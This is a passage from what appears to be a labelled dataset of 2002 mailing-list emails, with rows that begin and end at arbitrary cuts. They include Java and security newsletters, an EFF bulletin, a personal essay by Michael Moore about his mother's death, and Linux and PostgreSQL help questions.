Massachusetts Teen USA winner. She=0D = got the chance to interview the 35-year-old Diesel in July=0D = and when the subject of dating came up, she asked if = he was=0D ""available"". It turns out he was and a week = later the pair=0D ran into each other again at the = premiere of XXX in=0D Westwood, California. = When he saw Maria, according to a tabloid=0D news = report, he grabbed her hand and started whispering in=0D = her ear. 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Hard Core Tech Talks o Amy Fowler - Senior Staff Engineer, Java Software, Sun Microsystems Upcoming Conferences o Great Lakes Software Symposium 2002 Enterprise Java Education Strategies o Floyd Marinescu to co-teach J2EE Patterns - Sept 16, Dallas New Patterns o iXML Pattern o Widget Pages New App Server Reviews o JRun 4.0 - Good Stuff Key J2EE Industry News Headlines Some key headlines: o Java Server Faces Public Draft and Early Access Available o Apache Cactus 1.4 J2EE Unit Testing Framework Released This newsletter is available in HTML format at: http://www.theserverside.com/resources/newsletters/news42.html?text-click --==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-== Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit TheServerSide.com Newsletter #42 September 4, 2002                                                       Circulation: 130 000+                                                                  No. 42  This newsletter sponsored in part by Rational Rational® XDE Is Here -- Developing Java™ Software Will Never Be The Same. Rational® XDE™ Professional is an eXtended Development Environment for Java developers. Use it with your choice of IDE - as a standalone IDE or install it into IBM® WebSphere™ Studio Application Developer. It runs in the IDE. Visualize your code while you develop. Order your FREE Rational Developer Solutions CD and try Rational XDE now! In This Issue Featured Articles  o Struts 1.1: Should I Upgrade? Hard Core Tech Talks  o Amy Fowler - Senior Staff Engineer, Java Software, Sun Microsystems Upcoming Conferences  o Great Lakes Software Symposium 2002 Enterprise Java Education Strategies  o Floyd Marinescu to co-teach J2EE Patterns - Sept 16, Dallas New Patterns  o iXML Pattern  o Widget Pages New App Server Reviews  o JRun 4.0 - Good Stuff Key J2EE Industry News Headlines  Some key headlines:  o Java Server Faces Public Draft and Early Access Available  o Apache Cactus 1.4 J2EE Unit Testing Framework Released This newsletter is transmitted twice a month. It is printer-friendly and available online Featured Articles Struts 1.1: Should I Upgrade? By John Yu Built on the success of Struts 1.0, Struts 1.1 beta was released in March this year and showcased at JavaOne 2002. This article describes the new features found in Apache Struts 1.1 beta and the impact of migration from Struts 1.0 to Struts 1.1. It also offers advice on the migration decision and the upgrade process. Read the article here Back to Top  This newsletter is sponsored in part by BEA BEA dev2dev Days - Application Development for the 21st Century. Prepare yourself for dev2dev Days, the premier worldwide developer education event from BEA. A full day of serious enterprise development instruction, including in-depth code-level demonstrations and J2EE training. Get the skills you need to tackle your toughest integration and development challenges. We're coming to a city near you! New Hard Core Tech Talks Get leading edge information on J2EE from those who know it best, in Hard Core Tech Talks! Videos Hosted on HostJ2EE.com. Featured this week is Amy Fowler, who talks about the JavaServer Faces Specification. Senior Staff Engineer, Java Software, Sun Microsystems In this interview, Amy talks about the problems JavaServer Faces (JSF) solves and how J2EE developers can leverage it in their Web apps. She looks at UI components used in JSF, the implementation of event handling code, and describes a typical use case involving JSF. She also discusses interoperability with JSF using Struts, Webwork, and the Portlet API. Click here to watch Amy Fowler's Video Interview Back to Top Upcoming Conferences Great Lakes Software Symposium 2002 October 25-27, 2002 - Chicago Presented By, A three day J2EE/XML/Web Services conference for Java developers, Java Architects and Technical Project Managers with 48 presentations to select from and features Bruce Tate, author of ""Bitter Java"", The Middleware Company's own Bruce Martin presenting on XBeans, and many others. Get more conference info here Back to Top Enterprise Java Education Strategies Floyd Marinescu to co-teach J2EE Patterns - Sept 16, Dallas Dear TSS Members, I thought you'd be interested to know that The Middleware Company has created a J2EE Patterns training course that I will be co-teaching in Dallas during the week of September 16th. The course combines and improves upon the best J2EE design patterns material available in my book EJB Design Patterns, Sun's Core Patterns, TheServerSide's patterns repository and others. I have just reviewed the final material and I am very excited with the end product. This class takes an indepth look at all the most important patterns today, both from a theoretical and a practical perspective. One of the cool things about the course is that it shows you how the patterns were implemented in a variety of popular open source frameworks and production applications, including TheServerSide.com. I highly recommend this course to the seasoned J2EE developer who wants to master the cutting edge in J2EE architecture and design. If you'd like to register for the course, simply click here: http://www.middleware-company.com/training/j2eepatterns.shtml Sincerely, Floyd Marinescu Author, EJB Design Patterns Director of TheServerSide.com J2EE Community Back to Top New Patterns iXML Pattern By Venkatesh Balakumar In due course, we will be finding ourselves in the middle of Web services, which will granulate into representing all data in XML. For preparing and implementing Web services, it's necessary to express all data in XML. This pattern does the same. Read more on this pattern. Widget Pages By Guilherme Silva This pattern allows for using XMLC and Barracuda without exposing their APIs to widget users. In fact it allows for transparently using more than one widget implementation at the same time, which is ideal for migrating or upgrading. Read more on this pattern. Back to Top New App Server Reviews JRun 4.0 - Good Stuff By Jason McKerr Some general impressions I had of JRun: It's very easy to get it up and running. Allaire-now-Macromedia has always had one of my favorite servlet engines. The Java Management Console (web-based admin interface) has gotten a tonne better. It's dead easy to plug into just about any IDE (I've done it with JBuilder Enterprise 6, and the Intellij IDEA EAP (Builds 640 -642). The JSP compiler is smokin! Very, very fast. I think it must come with Jikes or something. Read more on this review. Back to Top  This newsletter sponsored in part by Borland Borland(R) - #1 in Java™ Development Solutions. Discover the key to success with Java technologies from the industry leader. Develop to deploy with the award-winning Borland software platform for Java. Get your FREE ""Enterprise Guide to Java Development"" at http://borland.atre.net/sse9_03. Key J2EE Industry Headlines Oracle Releases Preview of New J2EE 1.3 JDeveloper IDE Oracle has released a preview (v9.0.3) of the JDeveloper IDE. This release introduces full J2EE 1.3 development support starting from UML modeling of EJB's and Web Services, to development, debugging, tuning and deployment, with full integration with Ant, Struts 1.1 and JUnit. Click here to read more. Java Server Faces Public Draft and Early Access Available The public draft of the JavaServer Faces 1.0 Specification has been published, as well as an early access download of the API's and tag library. JSF is a web application framework that reduces the amount of code needed to write a web front end. Developers need only write JSF components and corresponding event handling code, the framework then simplifies the tasks of validation, request parameter parsing, state management, multipe clients support, etc. Click here to read more. Meta Group: J2EE Complexity Holding Back Platform Adoption The Meta Group has released a research report saying that the relative complexity of doing server-side development using J2EE is hurting adoption of the platform. Among other predictions are the continuing dominance of BEA and IBM, more consolidation, and increasing vendor competition in tools and frameworks. Click here to read more. IBM nudges back release of WebSphere 5.0 IBM has rescheduled its release of J2EE 1.3 certified Websphere Application Server 5 from September to late November, saying it ""reprioritized"" its schedule in order to release Websphere Studio 5 first - a break from the usual order of releases. Analysts said the delay shouldn't be seen as a big setback. Click here to read more. Apache Cactus 1.4 J2EE Unit Testing Framework Released Cactus 1.4 (part of the Apache Jakarta project) is now available for download. Cactus is a simple test framework for unit testing server-side java code (Servlets, EJBs, Tag Libs, Filters) that uses and extends the jUnit framework. V1.4 includes many new improvements, including the ability to assert for specific HTTP response codes. Click here to read more. WebWork 1.2 Web Application Framework Released Version 1.2 of WebWork is now available. The release includes significant improvements and marks the first release since integrating into the OpenSymphony project (home of SiteMesh, OSCache, etc). WebWork is a pull HMVC web application framework in Java, developed as Open Source (Apache license). Click here to read more. JADE Open Framework 1.1 Released with Eclipse Integration Salmon LLC is pleased to announce the release of JADE 1.1, the open source rapid application development tool for the J2EE. JADE is a Java framework and JSP tag library that integrates with Dreamweaver, IntelliJ IDEA and now Eclipse. JADE was released as open source only a few months ago, but has been used privately as the foundation for a J2EE consulting practice for several years. Click here to read more. Back to Top UNSUBSCRIBE If you are receiving this newsletter it is because you signed up as a member of TheServerSide.com and elected to receive our newsletters. To unsubscribe from TheServerSide.com's bi-weekly newsletter, log on to TheServerSide and edit your user profile. Email webmaster@theserverside.com if you are having problems editing your profile. This newsletter and contents are Copyright (c) 2002 The Middleware Company --==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==--",0,1 """Michael Moore's Mailing List"" ","""kerry nice"" ","Wed, 4 Sep 2002 18:23:28 -0400","On The Way to Telluride, On My Way Back to the World","On The Way to Telluride, On My Way Back to the World 8/29/02 Dear friends, I go to turn my computer on but I have forgotten where the on/off switch is. I have had this laptop for three years, but I haven't turned it on for the past two months. I look on its left side, I feel around the back, I find it on the right and I feel like an idiot. The screen reads ""fatal error"" and offers to ""save"" whatever I had typed on it last June 21st, a few weeks before my mother died. I hit CTL.ALT.DEL. and it is gone. Gone. Gone like this long, sad, summer, frozen now, and nothing seemingly matters but everything matters more now than ever before. Why did she have to die? When will this pain stop? I got up this morning to fly out to Colorado. The Telluride Film Festival is screening my film tomorrow night, the first time it will be shown in the United States. My mother did not get to see this new film. She was always so proud of everything I did, cheering me on every day from the day where my memory begins. I had shown an early cut of the film to my friends last winter in my parent's living room, and mom would come in and out of the room, catching a scene here and there, saying, ""Boy, that's something, isn't it!"" I don't feel right, right now. I have avoided most people for the past two months. I can't conceive in my mind having to face a crowd of strangers, no matter how supportive or appreciative they may be. Everyone says to me it will be good to get back to work, good to be busy, take my mind off my sadness, as if not aware that what I really might need is for it to be the other way around. At my family's insistence, I tried going on TV a few weeks ago to talk about the corporate crooks roaming our great land. I had decided to give it a try, and gave it my best shot, and ended up feeling so empty and more alone. I had agreed to go on ""Crossfire"" and Donahue (thank God for this guy!) on the condition that I would not have to have one of those stupid cable news shouting matches with three rightwingnuts where no one can hear (or wants to hear) what's being said. They agreed to the terms, but as Bob Novak asked his first question about aren't my true motives to destroy capitalism and make America a socialist country, I just sat there for a moment and didn't respond. I thought I would just take the microphone off and leave - who needs these f-----s! - but then, my dad was with me in the studio and I looked over at him and smiled, and then into the camera I said, yes, Bob, that is exactly what I intend to do and, considering more people have bought my book than any other nonfiction book in America this year, I guess that means that the majority of Americans agree with me on this point, so look out Bob 'cause we're going to seize your money first! I asked the studio audience in DC for a show of hands of all those who agreed and I was later told that numerous hands shot up in the air, much to the chagrin of a stunned Bob Novak. I also added that I thought the Pope was onto something when he said that capitalism is a ""sin."" My dad liked that. He is a sweet, strong, smart man and I loved the drive with him back home. We took a spin through the Michigan State campus and he told me how he had come down here after World War II to inquire about going to college but thought it best to return to the assembly line where he had a secure job. His years during the war serving in the Marines were going to be counted toward his seniority. And so he worked the spark plug and oil filter assembly line for 33 years and provided for mom and us kids and gave us all his love -- which, of course, mattered the most. * * * * * * Dad took me to the airport this morning, remarking on the way how much mom would have enjoyed this simple trip across town to Bishop Airport, how happy she would have been knowing that I was heading off on a new journey in my very fortunate life. I thought about how she came to New York for the screening of ""Roger & Me"" at the New York Film Festival in 1989, and how I got to introduce her and my aunt as they sat in the front of the balcony, and how mom and Aunt Lois stood and took a long Lincoln Center bow, and how I stood on that stage and felt that she deserved every bit of that applause and more. It's a bittersweet memory now, as I've just found out that the NYFF selection committee this year is too afraid to show my new film. ""Politics,"" is what I have been told. Too ""populist"" for the new elite who now sit in judgment of what is art. ""They don't want to help further your platform Mike,"" a person close to the committee tells me. ""One of them even said, 'I know this film is going to be popular - and I don't personally want to contribute to its popularity.'"" So, it was decided that ""Bowling for Columbine,"" a Cannes prize-winner, knighted by the Chicago Tribune as ""one of the most effective political/polemical films ever,"" a film chosen by every single film festival around the world this fall - no, this film must not be shown at Lincoln Center just six blocks from the edit room where we made it... 77 blocks north of ground zero. I've gone too far this time, cut too close to the bone, stuck my lens where it doesn't belong - right straight through the heart of an America that is both master and victim of the ultra-violence. It is so sad to see this place where I will always remember my mother taking that bow now cowering to the whims of neos who, like their counterparts in Hollywood, preside over the demolition of a once great art form. * * * * * * * My dad drops me off and goes to park in the short-term lot. He comes inside just as the airport personnel are taking everything out of my suitcase for inspection. They don't ask to see the print of the film, the only thing I might have had on me that is poised to do any real damage (to all the right people, of course). My dad and I stop short of the metal detectors and the next round of inspectors who are anxious to look at my smelly feet. We hug, and he kisses me, and I am trying hard, so very hard, to not break down in the middle of this airport. He tells me not to worry about him, and I tell him I'll call him from Detroit when I am changing planes. I go through security and as I am being taken aside to be searched again, I look back and see him still standing there, watching out for me. My dad. I'm on the plane and I'm thirsty, but I took the water bottle out of my bag when I packed it this morning. The bottle, half-drank, had been sitting untouched in my untouched bag since I stuck it in there the night we had to rush my mom to the hospital. The bottle was still there in that overnight bag where I put my t-shirt and sweatpants, the ones I had on for the night and day I sat by my mother's side in the hospital as she struggled to live, holding her hand, holding her head, trying to comfort her, strands of hair on my sweater. I can see the stains from where my tears and mucus ran uncontrollably down my face and onto that sweater. The doctor said she had an 80% chance of making it. An hour before she died, another doctor said the chances were 1 in 100. That was good enough for me. One in one hundred! I've had those odds! I won! Don't let her die! Please do everything you can do! Don't let her die. The priest came, then another priest came, and when the priests left my dad asked us three kids and the three grandkids to all join hands and say our goodbyes to mom, say whatever we wanted to about what she meant to us. (I am sorry... I cannot complete this paragraph right now, I can't see the screen through the tears...maybe someday...) The night before we rushed her to the hospital I had a little surprise planned for her. I had brought a copy of my new movie and I was going to show it to her. As the end credits would roll, she would get to see what she has seen at the end of all of my work: her name along with my dad's in that list of credits...and, to me, it's the only real credit that ever mattered -- because without them I would not have the life they gave me, the way they raised me... it is all a privilege I will never cease being thankful for. I never got to show her the movie that night. ""Mike!"" she called out from the porch, in a pitch of voice I had never heard. ""Get your father! I don't feel good."" She was, without warning, dying. Within 48 hours she would be gone. * * * * * * I'm walking through the Detroit airport to gate 75 for the flight to Denver, and I hear someone say, ""OK, Mr. Stuckup, just walk right on by!"" I turn to see it is one of anchors from the local TV station in Flint. I apologize. My sunglasses are on. I have been crying since I left my dad at the Flint airport. I explain this to her and she starts to get tears in her eyes. ""My mom died in October,"" she says, and I realize that this pain that feels so solitary is, truthfully, a shared experience amongst us all. No one is immune from this loss. But instead of taking the time to tell me about how rough it has been for HER, she asks about how I am doing and how is my dad doing and did we get the flowers she and the others sent. She gives me her number and says to call anytime if I feel the need to talk. At that moment I remember what she told me -- that her mother also died this year-- and I think, man, get over yourself, Mike, you are not alone in this, and so I ask her how she is doing. ""I think a lot,"" she says, ""about all the things she won't see my two children grow up to do, to be. But I believe she is in my heart, right here, right now, and she will see it all."" They call my flight and I rush over to the payphone to call my dad to see if he got home OK. He tells me that when he left the short- term lot he got talking to the person in the tollbooth who told him about her mother getting cancer and how she was caring for her. ""She said that her bill in the hospital came to $60,000,"" he says with astonishment. ""They won't be able to pay it. She makes six dollars an hour, no health insurance. I gave her a tip along with the toll."" ""You gave the tollbooth worker a tip?"" ""Well, you have to. That person could be you or me."" That is my father. That was my mother. Yours, Michael Moore mike@michaelmoore.com http://www.michaelmoore.com PS. Thank you, all of you, who sent me your condolences and who contributed to the local poverty program in my mother's name. I was so moved by your generosity and by your words of love and kindness. It will never be forgotten. --- If you wish to be be unsubscribed from this mailing list, please click the link below and follow the instructions. http://www.michaelmoore.com/mailing/unsubscribe.php",0,1 """SearchSecurity"" ","""SearchSecurity"" ","Tue, 23 Jul 2002 12:00:38 -0400 (EDT)",Today's news: Serious PHP flaw found,"SEARCHSECURITY | Security and Industry News July 23, 2002 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= FROM OUR SPONSOR: - FREE Security Webcast from Microsoft and NetIQ http://searchSecurity.com/r/0,,4619,00.htm?FreeSecurityWebcast =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= IN THIS ISSUE | Today's Highlights 1. THE TOP STORIES - PHP flaw could crash, burn Web servers - Quick Takes: Major vendors throw support at SAML - NetBugtraq founder's security tips - ROI calculators: Honest projection or fuzzy math? 2. IMPORTANT ANNOUNCEMENTS AND LINKS - New poll: Will heuristics ever fully replace signature-based antivirus protection? - Infosec Know IT All Daily Trivia: Tuesday, July 23, 2002 - Network Security Tip: Firewall best practices - Best Web Links: Risk analysis - The Missing Link: Scot has cyber tomb with a view ____________________________________________________________________ *********************** SPONSORED BY: NetIQ ********************** FREE Security Webcast from Microsoft and NetIQ Is your enterprise secure? Learn how to combat hackers during the free 8/20/02 Webcast, ""Computer Crime Forensics,"" Part II of the ""Defending the Enterprise"" series. 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Only particular versions of PHP are impacted, and users are urged to upgrade or patch immediately. http://www.searchsecurity.com/originalContent/0,289142,sid14_gci840432,00.html MORE ON THIS TOPIC >> Read the SearchSecurity news exclusive, ""Open-source security: It's all in the scrutiny:"" http://searchsecurity.techtarget.com/originalContent/0,289142,sid14_gci811614,00.html >> Visit our Best Web Links on vulnerabilities: http://searchsecurity.techtarget.com/bestWebLinks/0,289521,sid14_tax281934,00.html >> Click here for Top 10 Articles of the Week: http://searchsecurity.techtarget.com/originalContent/0,289142,sid14_gci816475,00.html ____________________________________________________________________ ******************************************************************** OTHER STORIES In addition to the headlines below, others are available on our news page. >> Full Stories: http://searchsecurity.techtarget.com/news/ QUICK TAKES: MAJOR VENDORS THROW SUPPORT AT SAML | News: SearchSecurity RSA Security and CRM vendor ePeople announce support for the Security Assertion Markup Language (SAML) specification, leading off this edition of Quick Takes. Also included are items from Red Siren and Veridian, ISS and St. Bernard Software, WatchGuard and Sigaba. http://www.searchsecurity.com/originalContent/0,289142,sid14_gci840356,00.html NETBUGTRAQ FOUNDER'S SECURITY TIPS | News: SearchWindowsManageability What's wrong with Windows security? How can you right those wrongs? Security expert Russ Cooper offers his insights and tips. http://searchwindowsmanageability.techtarget.com/originalContent/0,289142,sid33_gci839660,00.html ROI CALCULATORS: HONEST PROJECTION OR FUZZY MATH? | News: SearchEBusiness Corporate budget watchdogs are breathing down your neck, wanting you to justify every technology expense. So do ROI calculators accurately forecast a project's likely returns or merely encourage you to open up your wallet and spend? http://searchebusiness.techtarget.com/originalContent/0,289142,sid19_gci839773,00.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ADDITIONAL SECURITY HEADLINES All headlines, including those below, are available on our news page. >> Full Stories: http://searchsecurity.techtarget.com/news/ - WHAT DOES THE FUTURE HOLD FOR PGP? - GAO FAULTS U.S. CYBER-SECURITY EFFORTS - FIREWALL SAFEGUARDS WEB-ENABLED APPS - SECURITY FLAWS IN PINGTEL PHONE ____________________________________________________________________ IMPORTANT FEATURES AND LINKS: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= TAKE OUR POLL | SearchSecurity reader survey Will heuristics ever fully replace signature-based antivirus protection? http://searchsecurity.techtarget.com/poll PREVIOUS POLL RESULTS What is the weakest security link in your organization? People (138 votes) 92% Technology (6 votes) 4% Don't know (6 votes) 4% Total votes: 150 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= INFOSEC KNOW IT ALL DAILY TRIVIA | Tuesday, July 23, 2002 This type of IDS involves a wrapper or a scanner that looks for specific events. When it sees the event, it correlates it and decides whether or not it's an acceptable event. a. anomaly detection b. signature-based c. blind barricade d. profile detection >> Check your answer: http://searchsecurity.techtarget.com/tip/1,289483,sid14_gci840086,00.html >> Visit our Featured Topic on intrusion detection: http://searchsecurity.techtarget.com/featuredTopic/0,290042,sid14_gci779273,00.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= FIREWALL BEST PRACTICES | Network Security Tip Firewalls are not the end-all, be-all solution to information security. They are, however, a necessary component of an effective information security infrastructure. The following list is a set of best practices, in no particular order, that you should consider to ensure that your firewall is configured for optimal performance and effectiveness... http://searchsecurity.techtarget.com/tip/1,289483,sid14_gci838215,00.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= RISK ANALYSIS | Best Web Links Knowing where your company's security weaknesses are allow you to prioritize and better allocate your resources. Learn more about risk analysis from the resources we've collected here. http://searchsecurity.techtarget.com/bestWebLinks/0,289521,sid14_tax281906,00.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= THE MISSING LINK | Scot has cyber tomb with a view Sometimes an epitaph just can't be the last word. Billy Kemp was a great Scot who died a couple of years ago at the young age of 52. He was a councilman, husband, father and pillar of his community. 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NATAccess works behind NAT-enabled firewalls. 2 port SOHOs to carrier solutions at: http://searchNetworking.com/r/0,,4689,00.htm?quintum =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= TROUBLESHOOTING VOICE | By Tom Lancaster When you're troubleshooting voice calls, particularly the signaling, it's often helpful to look at the detailed output of the device, be it a voice-enabled router, telephony server, gateway or whatever. This detailed output can be in the form of logs or debug output as is the case in Cisco's IOS. In any case, this output is likely to be somewhat cryptic. One of the reasons is because this output often uses a set of standardized codes and it is simply easier to put more information on the screen using a short number than it is to write an essay about why some event happened. Read the entire tip at: http://www.searchNetworking.com/tip/1,289483,sid7_gci840618,00.html Got a VoIP tip of your own? Why not send it in? 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Click here for the full tip: http://searchnetworking.techtarget.com/tip/1,289483,sid7_gci779073,00.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= UNDERSTANDING RELAY | By Tom Lancaster Everyone knows that delay is one of the two primary causes of poor voice quality, particularly in VoIP networks, but where does this delay come from? Delay is generally defined as the time it takes from the instant you speak into the phone until the instant that sound is regenerated on the far end. Quite a few things have to happen to transport this sound through the system, so delay actually has many components. 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Domain Name, Expiry Date nutmegclothing.com, 2002-06-26",0,0 tom ,linux-xfs@oss.sgi.com,"Fri, 06 Sep 2002 17:13:59 -0700",a deadlock problem,"Hi XFS developers, When studying xfs code(2.4.19), I found that the inode will be locked by XFS_ILOCK_SHARE flags before we get acl, which may cause deadlock. Because when getting acl, it will allocate memory in KM_SLEEP, If the memory is tight, the process will call xfs_strategy, and may lock(XFS_ILOCK_SHARE)the same inode again. If between these two locks, another process try to lock the inode by XFS_ILOCK_EXCL, these two processes will be deadlock. As follows, A process get ea B process want lock ipA 1) xfs_ilock(ipA, XFS_ILOCK_SHARE) ..................... | | | | get acl 2) xfs_ilock(ipA, XFS_ILOCK_EXCL) | | | | memory tight | | xfs_stragegy | | 3)xfs_ilock(ipA, XFS_ILOCK_SHARE) ............................ these two processes will be dead lock. So I believe that acl allocation GFP_MASKshould be changed to KM_NOFS. right? best regards wdd",0,0 Effector List ,qqqqqqqqqqs-eff@example.com,"Wed, 11 Sep 2002 13:11:54 -0700 (PDT)","EFFector 15.28: Motions Filed in Morpheus Peer-to-Peer Case,","EFFector Online Newsletter EFFector Vol. 15, No. 28 September 11, 2002 ren@eff.org A Publication of the Electronic Frontier Foundation ISSN 1062-9424 In the 227th Issue of EFFector: * Motions Filed in Morpheus Peer-to-Peer Case * EFF's Second Annual Share-In This Weekend! * Help With Our Internet Blocking in Schools Project * Deep Links * Administrivia For more information on EFF activities & alerts: http://www.eff.org/ To join EFF or make an additional donation: http://www.eff.org/support/ EFF is a member-supported nonprofit. Please sign up as a member today! *Motions Filed in Morpheus Peer-to-Peer Case Judge to Consider Legality of Gnutella Software Los Angeles - Attorneys for StreamCast Networks, developers of the popular Morpheus peer-to-peer (P2P) file sharing software, filed briefs in federal court on Monday seeking a ruling that distribution of the software does not violate copyright law. Morpheus is a popular file-sharing application based on the decentralized Gnutella P2P networking protocol. In their briefs seeking summary judgment, attorneys from the Electronic Frontier Foundation (EFF) and the law firm of Brobeck, Phleger and Harrison argued that distribution of the software is legal because the product is capable of substantial noninfringing uses and because StreamCast cannot control the various uses of the software. Supporting StreamCast in the motion is nine time Grammy nominee Janis Ian, who believes that peer-to-peer software represents important new opportunities for artists. On October 2, 2001, 28 of the world's largest entertainment companies sued StreamCast for the allegedly infringing actions of users of its product (MGM et al v. Grokster et al, Case No. 01-CV-8541 SVW). Additional briefs will be filed in the months to come, with oral arguments set for December 2, 2002, before U.S. Federal District Court Judge Stephen Wilson in Los Angeles. Links: For this release: http://www.eff.org/IP/P2P/MGM_v_Grokster/20020909_eff_pr.html Documents related to Metro-Goldwyn Mayer v. Grokster case: http://www.eff.org/IP/P2P/MGM_v_Grokster/ Janis Ian's ""Internet Debacle"" article: http://www.janisian.com/article-internet_debacle.html - end - *Electronic Frontier Foundation Holds Second Annual Share-In John Perry Barlow, Mountain Girl Garcia Host Free Music Fest San Francisco - Join the Electronic Frontier Foundation and five Bay Area bands for an afternoon of live music and outdoor fun at EFF's second annual Share-In. The festival will be held in Golden Gate Park's Music Concourse Bandshell on Saturday, September 14th from noon - 5pm. The celebration of independent music will be hosted by Grateful Dead lyricist and EFF co-founder John Perry Barlow and former wife of the late great Jerry Garcia, Mountain Girl Garcia. Artists participating in this event will permit recording of their performances by those in attendance in support of EFFs Open Audio License (OAL). Musicians performing at the event include: the Box Set Duo - clown princes of folk-rock, the classic funk band Funkmonsters, celtic world-fusion group Hy Brassyl, harmony based folk-pop band Atticus Scout, and Berkeley-based party band Shady Lady. In addition to music, the Share-In will feature performers including Ashley Foster the One Wheeled Wonder, the Existential Circus, Frantastic Hands, the Metronome Dancers, and Willy Bologna and his Sideshow Circus. Bring your family and friends! Ben and Jerry's will sell their famous ice cream, and Cartwheel Catering will be on site with hot dogs, pretzels, and churros. Proceeds from the Share-In will go directly to EFF's Campaign for Audiovisual Free Expression (CAFE), which oversees projects such as the Open Audio License. CAFE empowers the creative community in cyberspace by protecting the public's access to and use of audiovisual technologies. The Open Audio License is a tool that EFF has developed in order to help artists share music more directly with their fans, without sacrificing recognition for their creativity. The OAL encourages collaboration, providing artists with an alternative to a business model strictly driven by profit. Based on the open source and free software initiatives for software development, the OAL encourages artists to share with one another and their fans Adoption of the OAL does not mean that artists go unrewarded for their work. On the contrary, the OAL permits artists to share single tracks or performances and gain widespread recognition for their work without relying on intermediaries. EFF encourages new models of music distribution in the digital world that benefit the artists themselves. The Internet makes it possible to drastically reduce the overhead for packaging and distributing music, which is where record companies currently spend most of the money that could be going to artists. EFF is committed to developing tools that empower artists to take control over their own art and to be compensated appropriately for their works. When: Saturday, September 14th, Noon-5pm Where: Music Concourse Bandshell in Golden Gate Park, near the Japanese Tea Gardens between MLK Drive and JFK Drive More Information and Travel Directions: http://www.eff.org/events/share-in/ Links: EFF's Cafe Project: http://www.eff.org/cafe/ The Open Audio License: http://www.eff.org/IP/Open_licenses/eff_oal.html - end - *Help With Our Internet Blocking in Schools Study If you know of any public school students, teachers, school administrators, school board members, parents, or recent public school alumni in the United States who are willing to speak about the impact of Internet blocking on educational opportunities, the EFF would like to make contact with them. We are especially looking for people in or near the following areas: * Asheville, NC * Boston, MA * Nashville, TN * New York City * San Francisco, CA Please have them contact: Will Doherty wild@eff.org - end - *Deep Links Deep Links features noteworthy news items, victories, and threats from around the Internet. Community Wireless Allows People to Break Away from Czech Telekom Another wireless community helps bring access to rural areas and those who otherwise would not have access. See the story at: http://www.pbj.cz/user/article.asp?ArticleID=158576 - end - Google Blocked in China A populat search engine is blocked in China and internet traffic is constantly being monitored. Read about it at: http://news.bbc.co.uk/2/hi/technology/2231101.stm - end - iPod Clone Spoiled by DRM Second generation USB speed rendered useless by DRM encryption used in Toshiba's Mobilphile: http://www.zdnet.com/products/stories/reviews/0,4161,2877898,00.html - end - The Netizen in 2002 What does it mean to be a Netizen today? Contribute to the call for submissions found at: http://www.well.com/~doctorow/netizen.txt - end - *Administrivia EFFector is published by: The Electronic Frontier Foundation 454 Shotwell Street San Francisco CA 94110-1914 USA +1 415 436 9333 (voice) +1 415 436 9993 (fax) http://www.eff.org/ Editor: Ren Bucholz, Activist ren@eff.org To Join EFF online, or make an additional donation, go to: http://www.eff.org/support/ Membership & donation queries: membership@eff.org General EFF, legal, policy or online resources queries: ask@eff.org Reproduction of this publication in electronic media is encouraged. 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Could you please help me to write a query which should retrieve data from b= oth the databases (Database joins and table joins) Expecting and earliest reply Regards Jay ------=_NextPart_000_004E_01C2580D.1BC61260 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi, I have created two databas= es,=20 db1 and db2  in my POSTGRESQL database system. And both the databases con= tains few=20 tables also. Could you please help me t= o write a=20 query which should retrieve data from both the databases (Database joins and table= =20 joins) Expecting and earliest=20 reply Regards Jay  = ------=_NextPart_000_004E_01C2580D.1BC61260--",0,0 Terry Yapt ,pgsql-novice@postgresql.org,"Tue, 10 Sep 2002 17:32:04 +0200",[NOVICE] pl/pgsql and returns timestamp type,"Hi all, I cannot to get this to run... I think I am mistaking some basic concept or I have a big brain-lock . Somebody know what is the problem to execute this function ? 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(Frederick Noronha) Linux Gazette #82 (September 2002) available (Linux Gazette) bigtwo: coffee.marilith.1 released (Bernard yap) NEWS: GNU/DEVELOPMENT... intl orgns take a close look at GNU/Linux (Frederick Noronha) Attn programmers: support offered [FLOSS-Sarai Initiative] (Frederick Noronha) ---------------------------------------------------------------------------- From: OOPList@BruceEckel.com Subject: OO Programming Newsletter #41 from Bruce Eckel Date: 8 Sep 2002 01:25:28 GMT Reply-To: OOPList@BruceEckel.com To unsubscribe send a blank email to leave-eckel-oo-programming-6394293J@earth.lyris.net You are subscribed as linux-announce@sws1.ctd.ornl.gov To modify your email address, go to http://earth.lyris.net/cgi-bin/lyris.pl?enter=eckel-oo-programming OO Programming Newsletter #41 from Bruce Eckel August 2002 = = = Contents = = = * Come work on Thinking in Java in Crested Butte * Thinking in Java, 3rd edition, Revision 2 Imminent * Thinking in C++, Volume 2, Revision 6 Available * Thinking in Java Hands-on Seminar, Bay Area, November * Java2 Enterprise Programming Seminar, Bay Area, November * New seminars * Limited Number of Signed Copies of TIJ2 for sale See the Calendar for the current schedule: http://www.mindview.net/Calendar =================================== * Come work on Thinking in Java, 3rd edition, in Crested Butte All but one of the Interns has departed (he's staying through December) and we have empty rooms in the condo that I rented in Mt. Crested Butte for the Interns to stay in. If you'd like 